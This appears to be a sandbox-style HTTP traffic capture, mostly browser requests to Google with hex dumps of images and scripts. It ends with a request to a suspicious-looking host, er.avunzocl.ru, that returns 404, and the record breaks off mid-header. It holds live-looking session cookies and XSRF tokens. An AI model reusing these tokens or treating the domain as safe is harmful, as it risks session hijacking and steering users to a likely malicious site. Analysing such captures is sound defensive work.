NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
2025-03-20 18:34:14 UTC	660	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="doodle-eng" Report-To: {"group":"doodle-eng","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/doodle-eng"}]} Content-Length: 149628 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 19 Mar 2025 20:01:48 GMT Expires: Thu, 19 Mar 2026 20:01:48 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 18 Mar 2025 23:52:13 GMT Content-Type: image/gif Age: 81146 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-20 18:34:14 UTC	560	IN	Data Raw: 47 49 46 38 39 61 87 01 9c 00 f7 00 00 ff ff ff bb a6 ad fa db 9a dd 84 02 ff e9 6c ff ba 35 c8 74 6b f1 b4 49 70 27 2c fe c9 50 b9 76 77 d9 aa 88 ff fe ca da 8d 24 ff fe da cd 96 4e da 78 01 ff fb b9 ff f8 a9 ec ba 79 c8 66 00 ac 69 86 d7 4e 04 ff ff e9 b3 8a 6f ac 66 79 d0 c8 c9 ff 76 14 dc af 79 f8 ba 79 b6 67 79 ec a9 7a b9 85 8b c8 85 79 ed 37 01 fd c8 67 b8 88 96 ef d8 c9 fe ec c9 f3 4d 02 b5 59 76 ea 99 76 ca 98 87 ff f7 99 c8 a8 a6 ff a8 28 dd b6 89 f8 cc 87 db a7 47 ea b8 87 dc 98 7a ff 99 23 e8 89 01 fa c8 77 b9 78 89 fa db a7 b8 8a 52 fa aa 03 aa 77 54 ea bb 98 ed 97 03 99 79 67 fd d9 89 f8 cc 99 cd a7 88 ad 59 77 ff c6 32 cd aa 98 ad 75 8b ff 87 17 b8 92 a6 ff ee 84 e9 aa 37 ad 79 94 fd e9 ba dc b7 99 9b 83 73 86 21 04 e9 ab 86 91 0e 01 ed c9 Data Ascii: GIF89al5tkIp',Pvw$NxyfiNofyvyygyzy7gMYvv(Gz#wxRwTygYw2u7ys!
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: a9 13 ef d6 9a ac 4d 52 ff 75 08 ee c6 69 c7 a9 b7 c6 b7 ba fb a1 68 fe 98 37 cd b6 88 c9 64 13 fd 86 39 ac 97 85 ef dc e2 88 7e 99 f9 bc 97 ff ff f7 ac 66 6b af 5a 84 da ac b7 ec b7 29 c6 5d 2c a7 3d 2f 99 43 17 f5 56 25 ad 4a 6b d9 7d 18 ce 7b 12 f9 ef f7 80 16 2a db bf 79 ca 84 5b f9 89 04 d9 80 58 d8 9b 98 b5 4a 68 bc a1 77 ff f7 f2 ed e1 d9 d8 d4 e0 db 62 15 e1 88 34 ff f2 5a 53 89 79 c8 b7 9a f7 ad 96 9b 53 61 aa 4b 73 a6 6d 90 fd ae 8b f8 c8 bb f7 f7 f5 f6 e7 cd e7 9c 85 9c 5d 26 ef e7 b7 c3 96 35 bc 6b 8d ff f7 ff d1 8c 84 a3 a4 b3 e8 d2 78 ef d0 8c 9f 82 5d 96 3d 3e ef ef f7 84 80 a5 ef d2 6b db 8f a2 ef f7 f7 f7 f7 ff f7 ff ff c6 c5 d7 ff ff ff 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 05 04 00 ff 00 2c 00 00 00 00 87 01 Data Ascii: MRuih7d9~fkZ)],=/CV%Jk}{*y[XJhwb4ZSySaKsm]&5kx]=>k!NETSCAPE2.0!,
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 72 30 4e 0a 52 78 87 0d 48 b0 88 c8 91 ac 64 27 b3 d6 e5 68 72 83 19 b4 c0 84 33 f0 c5 01 44 c7 b9 70 d9 65 06 56 f0 86 2f d0 50 80 1a 16 00 0d 38 c4 a1 2f 66 e0 9a 9d 99 a5 28 f1 79 50 84 ff cc 70 0e 93 55 4b 84 d2 80 1b 43 8c 26 8d 61 f5 ce 77 d4 32 99 06 84 47 af 7a b1 a0 69 13 2b c3 f1 40 30 08 10 24 cf 06 7e 90 9a 1f 50 e1 07 56 48 c1 0f 19 f0 80 1f d6 c8 8a 30 8a 51 01 67 7c a3 0d 42 80 01 0c 84 e0 8e 78 c4 80 f4 f2 d0 87 af 79 cd 7b 95 28 83 f8 bc a6 3e 20 54 a2 90 e9 2b 24 22 c5 27 3e 6d 30 72 01 6a 63 1b b3 de 70 0f f9 89 04 0e 8b 78 07 e3 fa 97 8d 6c f0 4f 6f 0b 14 60 02 03 a7 c0 01 3a 30 81 80 3b a5 c6 4a 39 40 41 9c 12 95 08 24 e0 00 19 e8 c0 08 ba 92 82 fd 73 60 10 38 a6 c1 45 74 50 64 74 ab 1c ca 76 37 ac 26 a6 23 1d 46 83 07 3c 70 77 91 77 Data Ascii: r0NRxHd'hr3DpeV/P8/f(yPpUKC&aw2Gzi+@0$~PVH0Qg\|Bxy{(> T+$"'>m0rjcpxlOo`:0;J9@A$s`8EtPdtv7&#F<pww
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 0c c9 bd 93 ba d6 77 38 ce f1 fd 66 b3 07 84 fa 37 07 82 d7 82 09 97 a5 c2 17 0d cb fd 86 97 d0 ba c4 2f a4 b3 7a 8c cd 3b b0 d1 ea dc 18 a3 fd cb e7 d4 2f dc d1 95 ce aa a3 65 af d9 34 5e 76 d8 19 80 ab 3a 51 81 c3 94 6f 1a 87 37 dc 74 20 d0 30 06 0c 77 f3 b1 8a c5 79 0d bf 29 73 2b 1c 60 9b 92 2d c2 83 1c 84 ae b2 c8 e7 1a 0c ad 2d 8b 75 6c 62 d9 de 76 b6 3a 1e e8 ff 19 6b 8b d9 dc 52 f4 a3 0a 00 a3 47 c3 48 55 32 3a 7b b7 62 87 7f b4 15 80 64 6c e7 61 db 1c a0 c6 04 a8 41 0d 17 38 81 db f3 b6 48 89 a4 48 63 d6 6e ea c3 6e 06 88 80 40 10 02 06 20 78 d2 b3 3e 10 f8 0b 61 56 6f 8a 67 03 dd b5 31 bc 34 08 1e f3 38 1e 83 41 fa 06 5f 46 75 4a ed 95 70 f9 25 82 ed 65 82 1d a7 68 f6 a5 68 5a c5 38 11 a4 7a 1b a3 56 1c c7 40 09 66 71 ea 34 7b af e7 71 22 97 59 Data Ascii: w8f7/z;/e4^v:Qo7t 0wy)s+`--ulbv:kRGHU2:{bdlaA8HHcnn@ x>aVog148A_FuJp%ehhZ8zV@fq4{q"Y
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 45 04 43 b0 36 8e c0 0d 6f 70 01 c3 7a 01 db f0 06 11 33 04 20 40 7e 13 59 9a 37 2a 35 cb a6 02 25 00 2f 2a a0 00 e4 53 06 5c f0 06 8e a0 06 06 20 3d d2 43 97 02 43 a4 7d 20 8a 2e 10 03 31 40 0d 37 00 06 b7 d0 0e 23 b9 06 6f e0 00 c6 e0 00 6b b0 06 4a 50 02 7f f0 07 b3 60 08 3b b0 04 e2 b0 04 5a 56 48 d8 e0 9c 97 18 81 30 89 93 38 f9 89 90 08 04 2e 00 9d 3d 75 8a 5b d5 31 6b ca a6 b0 a8 41 78 03 4b 7f 66 31 b8 e8 01 36 60 08 7b aa a7 7d da a7 1d 2b 9e e7 b9 06 ca 4a 7b 81 63 7b 23 b6 4e c9 18 8c ea 14 a9 2b 8b 7a fe d9 9f b5 d7 83 e9 e7 45 6a ff a0 06 65 90 b3 5c e0 03 ab 16 08 51 b8 a0 0e fa a0 92 d0 72 bd 97 58 f6 60 7c 87 69 98 88 c9 4d 8c a5 8e ad 1a 86 1f ba 7c cb 27 7d 3e 04 62 96 a5 7d 15 40 63 46 97 01 6a 50 02 c6 70 01 17 f0 b5 60 3b b6 64 0b b6 Data Ascii: EC6opz3 @~Y75%/S\ =CC} .1@7#okJP`;ZVH08.=u[1kAxKf16`{}+J{c{#N+zEje\QrX`\|iM\|'}>b}@cFjPp`;d
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 57 97 77 a4 02 51 a0 65 43 f0 b7 5c b0 af bf e0 02 83 bc 9b ed f0 b5 da 7d df 64 8d df 64 6d d5 7f ed 64 18 0c 77 19 2c 8a fe cd 01 b3 a0 12 c6 60 03 b4 f4 d0 fe 86 d8 50 ed 68 fc c5 55 52 50 06 60 f0 d8 b1 1b d9 26 40 d9 17 0e d9 0c 40 d9 94 1d 05 0e d4 6b 9e fd d9 22 8e d2 d3 80 00 26 7e e2 28 5e 08 90 b0 e2 90 50 08 8c 80 00 b0 3d 7e 96 0a 02 79 90 61 81 20 aa de 60 cc 5a f0 84 c2 87 08 88 f0 a9 dd c4 84 39 14 8f ab ca aa ca 2d b5 36 b4 61 88 19 0c 23 fa 22 5f 77 0c 8e b0 dd 62 9d 9e 56 7d a7 77 9a df d6 5d e5 64 8b 0d f7 3b 3d d2 33 ac 63 9d df d7 7d 01 e6 8d 47 6a 60 5c c4 a9 36 5c b0 04 6c be 9b 4e 8a 92 a3 50 d7 e3 8d dd 28 19 d7 a2 18 89 8e 0c 89 4e ea 64 05 5e 8a ef e0 67 35 6c 5a 18 c4 31 16 c3 82 5e 25 05 6b ff 40 d1 ad 1b 01 19 de e8 1c be e1 Data Ascii: WwQeC\}ddmdw,`PhURP`&@@k"&~(^P=~ya `Z9-6a#"_wbV}w]d;=3c}Gj`\6\lNP(Nd^g5lZ1^%k@
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 26 e0 00 8a de d2 54 73 4d 78 6c 40 c6 03 e7 8e 83 0e ce e4 de b4 d3 b9 20 6c 50 22 bc 83 be 5b 22 0a 25 a2 08 02 04 0f ca 18 25 8a 28 da 19 ff 48 82 45 05 2a c3 21 e8 ca 53 88 9c f4 4e 39 e5 23 3c e0 63 43 84 4b 3d 22 c9 be 92 56 f2 4f d4 94 00 6c 82 1c 29 fc 68 28 03 05 74 72 55 27 77 00 61 04 18 49 18 14 4a 28 0a 27 5c 8a 9d 0a 35 a4 d0 a9 16 c6 40 64 aa 0f 41 34 d1 2c b0 78 12 2b c5 b0 72 62 11 0f 29 48 b8 31 ae 37 f6 72 40 1d 47 4a 58 83 0b 47 6c 9c 76 48 75 04 db d1 47 1f dd 08 72 c6 3f 54 70 12 c9 c7 28 5b a7 32 2e b8 60 12 51 17 de 08 92 2f bf f8 1a 45 1d 75 46 59 c3 04 07 d6 50 c7 5e 07 aa 7d e3 8f d6 c8 64 6d 61 d8 a8 e1 c0 e1 3f d6 94 78 62 dc 7e 2b ce 39 e4 90 c1 f8 cd 20 8c 73 6e ce 35 f8 2c 88 01 31 66 19 e5 8f 0a 3a fe d8 63 64 06 15 83 d1 Data Ascii: &TsMxl@ lP"["%%(HE*!SN9#<cCK="VOl)h(trU'waIJ('\5@dA4,x+rb)H17r@GJXGlvHuGr?Tp([2.`Q/EuFYP^}dma?xb~+9 sn5,1f:cd
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 64 a8 23 05 80 40 01 75 c5 eb 60 e0 10 d7 28 50 b3 9a d5 ec c3 7d c9 1a 57 b2 c6 65 73 47 24 ec 11 2d c3 99 3f 2d 01 2e e5 8c 8b 09 96 e0 82 3f dc 62 14 b5 63 8d 15 59 83 45 d8 c4 40 77 f2 8c 6c ee 58 2c 4f cd 72 16 9f 64 0c e8 3f e7 e4 4f 87 e0 8c 21 a3 e8 9e 04 c4 e0 bd 99 bd 4c 66 df 6b e8 4c 34 7a 3d 23 43 4d c9 4a ff 76 88 6e 5f 5b 01 de f6 f6 b7 c5 0d ae 71 9f 00 93 e4 36 d7 13 69 d4 ad 39 ec 87 49 e8 04 01 15 fb e3 df fe 38 31 ca ec 66 b7 19 b3 ea ae 03 c1 ab ab 06 72 02 11 ec 38 af 3d 84 65 05 08 96 85 6d 63 a9 60 8a b4 02 df 5e 02 3a 2d 1b f0 aa 19 7c 61 5f fc 9a 55 1d 2a 38 dc 32 1d 9d 43 0c 0c 82 5c 21 e8 91 0a d2 b5 60 bc 56 53 05 63 2d 6b 5d 38 8d 5f 07 ec 80 5d 84 7d 57 97 5c 20 0b 37 a0 fa 4f 2e 88 82 17 6a d1 44 6a c5 95 89 0c 00 18 5d 18 Data Ascii: d#@u`(P}WesG$-?-.?bcYE@wlX,Ord?O!LfkL4z=#CMJvn_[q6i9I81fr8=emc`^:-\|a_U*82C\!`VSc-k]8_]}W\ 7O.jDj]
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 08 b8 44 a8 4a 00 c2 9a 5e 6c 00 3a 2b 05 06 42 41 63 9c 81 ee 8a a0 86 43 aa 09 a2 10 18 1c 0b 69 8c 9b ae 68 81 d2 63 8b 38 f8 b8 ec b8 46 25 10 30 1e c1 ab 4d db 41 bc 74 40 ef 30 81 35 18 05 25 00 83 1d 28 92 71 41 c2 24 0c 01 30 78 40 28 c4 c6 82 54 82 df 3b a2 e1 db 47 e1 c3 b9 25 90 47 29 94 c2 44 3b 48 d5 03 43 50 53 82 e8 ab 3e cc c2 3e 6a a0 a7 2e 08 cd 09 d0 85 7c 18 01 25 a0 48 8a b1 ba eb 91 28 a8 d1 ba 0c 50 01 8e 0c c9 3e 7c c9 40 fc c8 f1 50 b2 79 ab 04 4c 3c c9 de b4 cd 4b 74 c9 ff 33 38 82 48 1c ce 15 38 82 28 30 82 5d e0 05 43 a8 05 69 a8 b5 2b e1 03 9e fc c9 6e f0 87 2a b8 4e 58 c8 4e 58 20 01 3f f0 83 a4 d4 81 a5 04 4f 44 00 06 aa 42 04 a4 64 05 18 48 3c 0c e4 09 5d ec c0 35 93 15 44 e0 04 0a 01 46 f9 04 4b af 44 c6 ee e2 84 31 d8 82 Data Ascii: DJ^l:+BAcCihc8F%0MAt@05%(qA$0x@(T;G%G)D;HCPS>>j.\|%H(P>\|@PyL<Kt38H8(0]Ci+n*NXNX ?ODBdH<]5DFKD1
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 95 df 36 7c c3 2e a0 d6 7c 48 00 13 c0 5f b6 e5 d6 27 7d 52 1b 50 60 46 d6 d2 15 98 05 a8 f9 32 9a c8 00 35 80 e0 07 b6 64 4c 86 e0 0f ee 60 cc ed 60 4f ae 82 ca 05 e1 4f 06 61 d1 c5 37 35 c0 b7 67 52 83 53 5e 65 10 a8 03 3f 9d 9a 19 40 5d 9e ea a9 44 40 5d 0b f0 86 13 f0 06 1b 06 05 db 05 05 c9 83 bc 62 ec e1 da fd ca 55 72 0a a6 f8 d8 66 d4 15 57 4a e2 08 a2 54 42 cb d4 b5 40 d0 83 10 83 bc aa 26 28 20 08 2d 8e 80 28 0e 0f 4f dd 01 0d 45 92 eb 95 01 2b fe 59 2e ee 62 81 60 63 36 76 5a 62 e5 55 f2 25 5f 28 80 cb 55 85 cb 52 a5 50 56 bd 46 af e5 12 ec 93 a7 37 0c 4d 40 fe e3 7c b0 df 42 36 64 de d8 84 fe 5d 32 12 d0 4d 98 f2 81 76 85 57 2e d5 52 1f 50 3b fb f1 03 b5 43 60 ff 06 ce 64 8b b6 e4 50 f6 e4 7a dd e4 eb e4 e8 4f fe 60 5e b0 ce 4a 38 65 10 58 65 Data Ascii: 6\|.\|H_'}RP`F25dL``OOa75gRS^e?@]D@]bUrfWJTB@&( -(OE+Y.b`c6vZbU%_(URPVF7M@\|B6d]2MvW.RP;C`dPzO`^J8eXe

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:14 UTC	2763	OUT	GET /async/hpba?yv=3&cs=0&ei=pF_cZ7LvOfKGptQP2o684AU&async=_basejs:/xjs/_/js/k%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O/am%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAgEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEAAAQAAAAAAAAAAAAAAAABKmlho/dg%3D0/br%3D1/rs%3DACT90oFI843KH_skkA3LMEIA-jaywe7UZQ,_basecss:/xjs/_/ss/k%3Dxjs.hd.3UF5emn0zs8.L.B1.O/am%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAARkJwAAAIAgADsAAgAAAgABAAAAAAEEAAAABEAAICEAAAYQAAAgAABgAgASAAgAAAACUxoAAAEAGAAAHAABIAEAACgAAACQAAAAAAAAAAIAAAACAAEw0BAQFUApABAAIAAIBAAABAAAGAKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAAAAsADAYYQAEAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAQAEAAAAAAAAAAAAAAAAAAAAC/br%3D1/rs%3DACT90oFzVuhg8QPjSVAuF9eHRNKrML12nw,_basecomb:/xjs/_/js/k%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O/ck%3Dxjs.hd.3UF5emn0zs8.L.B1.O/am%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAR1JwAAAIAoA [TRUNCATED] Host: www.google.com Connection: keep-alive downlink: 0.4 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 300 sec-ch-ua-platform-version: "10.0.0" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
2025-03-20 18:34:14 UTC	1094	IN	HTTP/1.1 200 OK Version: 737894419 X-Content-Type-Options: nosniff Content-Type: text/plain; charset=UTF-8 Content-Disposition: attachment; filename="f.txt" Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Document-Policy: expect-no-linked-resources Date: Thu, 20 Mar 2025 18:34:14 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-20 18:34:14 UTC	48	IN	Data Raw: 32 61 0d 0a 29 5d 7d 27 0a 32 32 3b 5b 22 70 6c 5f 63 5a 39 36 52 44 63 44 64 70 74 51 50 74 62 7a 78 73 51 4d 22 2c 22 32 31 38 38 22 5d 0d 0a Data Ascii: 2a)]}'22;["pl_cZ96RDcDdptQPtbzxsQM","2188"]
2025-03-20 18:34:14 UTC	50	IN	Data Raw: 32 63 0d 0a 63 3b 5b 32 2c 6e 75 6c 6c 2c 22 30 22 5d 31 62 3b 3c 64 69 76 20 6a 73 6e 61 6d 65 3d 22 4e 6c 6c 30 6e 65 22 3e 3c 2f 64 69 76 3e 0d 0a Data Ascii: 2cc;[2,null,"0"]1b;<div jsname="Nll0ne"></div>
2025-03-20 18:34:14 UTC	22	IN	Data Raw: 31 30 0d 0a 63 3b 5b 39 2c 6e 75 6c 6c 2c 22 30 22 5d 30 3b 0d 0a Data Ascii: 10c;[9,null,"0"]0;
2025-03-20 18:34:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:14 UTC	1418	OUT	GET /images/searchbox/desktop_searchbox_sprites318_hr.webp HTTP/1.1 Host: www.google.com Connection: keep-alive downlink: 0.4 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 300 sec-ch-ua-platform-version: "10.0.0" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
2025-03-20 18:34:14 UTC	671	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/webp Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 660 Date: Thu, 20 Mar 2025 18:34:14 GMT Expires: Thu, 20 Mar 2025 18:34:14 GMT Cache-Control: private, max-age=31536000 Last-Modified: Wed, 22 Apr 2020 22:00:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-20 18:34:14 UTC	549	IN	Data Raw: 52 49 46 46 8c 02 00 00 57 45 42 50 56 50 38 4c 80 02 00 00 2f 27 c0 1e 10 d5 48 76 b6 3d 6e 95 fb bf 0a bb 07 b8 51 ea d8 9f 99 61 e5 e8 28 52 76 0c 6f ab da 55 98 1c c6 fe ea 8a 99 6c 18 b6 6d 1b a6 ff 1f dc da f4 06 30 6c db 36 6c ae ed 66 da 0c b1 ed 09 a4 90 41 3f 42 08 43 98 41 19 94 c1 32 68 06 9d 41 67 30 84 10 0e e1 47 38 07 6e 23 29 52 ba 6a f1 78 a0 e6 be 50 9e 46 e5 ce 49 3b cc 4f 78 a1 e7 c7 cf f5 1c 37 2d f7 c8 cf 62 58 9e 2f eb c0 5d c5 88 96 af 33 cb b8 1c 54 80 ab 93 e1 a2 35 b7 ba 01 78 ee ac da f6 47 2e 43 09 aa 19 e0 b7 25 e2 75 03 8e 19 f9 14 75 2f 97 5f b4 3d f0 b2 94 98 bc 10 3c 21 71 06 5c 86 f8 07 39 02 f7 de b2 c2 15 5c f7 a6 1a 07 70 3a 14 bc 50 f8 34 1f 61 53 00 4e 29 9c 3e b0 3e 18 ae 22 06 db 83 39 99 e0 56 68 20 a7 aa d0 80 Data Ascii: RIFFWEBPVP8L/'Hv=nQa(RvoUlm0l6lfA?BCA2hAg0G8n#)RjxPFI;Ox7-bX/]3T5xG.C%uu/_=<!q\9\p:P4aSN)>>"9Vh
2025-03-20 18:34:14 UTC	111	IN	Data Raw: 6b 92 a9 d3 70 7e 39 d6 fc 44 eb 97 d6 e7 f2 22 bf 5a 6c 24 3f 66 d4 d6 9a 2b 1f 90 bf 5c f0 50 67 d7 f6 25 ed f7 1a 3b 0c 5b 52 3e 4e 12 23 dc 57 c2 65 8f e2 40 71 07 08 1e 28 e6 10 c1 ef 5d 26 7f 02 0d 1d 96 e2 4b 99 03 b9 bf 9a ed c8 3f af 7c 07 7a 10 1e 28 df 11 e5 3a 26 6d 01 56 ce 43 e7 27 c6 9f c0 0f 44 5e e3 52 9e bb aa 00 Data Ascii: kp~9D"Zl$?f+\Pg%;[R>N#We@q(]&K?\|z(:&mVC'D^R

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:14 UTC	1143	OUT	GET /rqDWOipXOpKswPVOYE9wkWulPSYTDz58tzo6LYGRjy HTTP/1.1 Host: er.avunzocl.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ikx2TzdYUTFwTmRYdUZMSVg5TC83Z3c9PSIsInZhbHVlIjoid0RkZkovdWkreGJvaVBYb1BFaE5yR0pwU3NRcVIySHBBNk4rdVhURXN2Y2tjUlU1UXdlTFp3TGVnVTNEL1VxSjY5U3cyMkxFalFPTkZ2bWpmUEkzci9sREhzQkpnNDFJMEFtNnh5aDlBalZJWmc3VE1OLzNlZFp5d2hEazRTQXUiLCJtYWMiOiI5ODQ2NTFkNTA2OTA3ZDQxNTMwOGZjZmQ2NjYxNzcwZjMwMzI5MTgxZDQyMjFlMDhlMzIyOWQ4OWQ3ZDBhMzNkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InR3RHZxOFY3L2gwWGNtVzdIVVFsQ0E9PSIsInZhbHVlIjoibzJsQ3lJRTNpb2EycXFrMnhXTHpYMWtzcFRYZkZJMElramRUMGxTTElHU3l2OVYrQ2RJRzlTSnV6M0tqQXFjYmRWK2FqeG95S0N0UTEvT2lzaGw0OVR0T1duOWhua01Va1ZtLzV5T3RlVUtheCtQbjcrN1BXYUlkbm0wcVhhR0IiLCJtYWMiOiJiYTk5ZTZhOTQ4MGMzNTM2MWUwZGQyYzE4ZDNmYjYxMzIyMGVkOGNhMGE5NWJhMTI1MmFjNTQzZGI4NTM1NTVkIiwidGFnIjoiIn0%3D
2025-03-20 18:34:15 UTC	1042	IN	HTTP/1.1 404 Not Found Date: Thu, 20 Mar 2025 18:34:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sDC6MWJApAf%2F06KXS2LKiZ1jrTgVbY9xpcmRkWm8%2BuNMLKn0XDGnUp5bcXpTN44eogv%2FzKdyq4wtFQlXMnbvjsGoR8RTWiG5eHtan%2FFNSoTF0W%2FrcCqHr%2BG7TGGgexC%2FuPE7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=6420&min_rtt=5841&rtt_var=2684&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2053&delivery_rate=322646&cwnd=251&unsent_bytes=0&cid=c71a23107fa56dff&ts=117&x=0" Server: cloudflare CF-RAY: 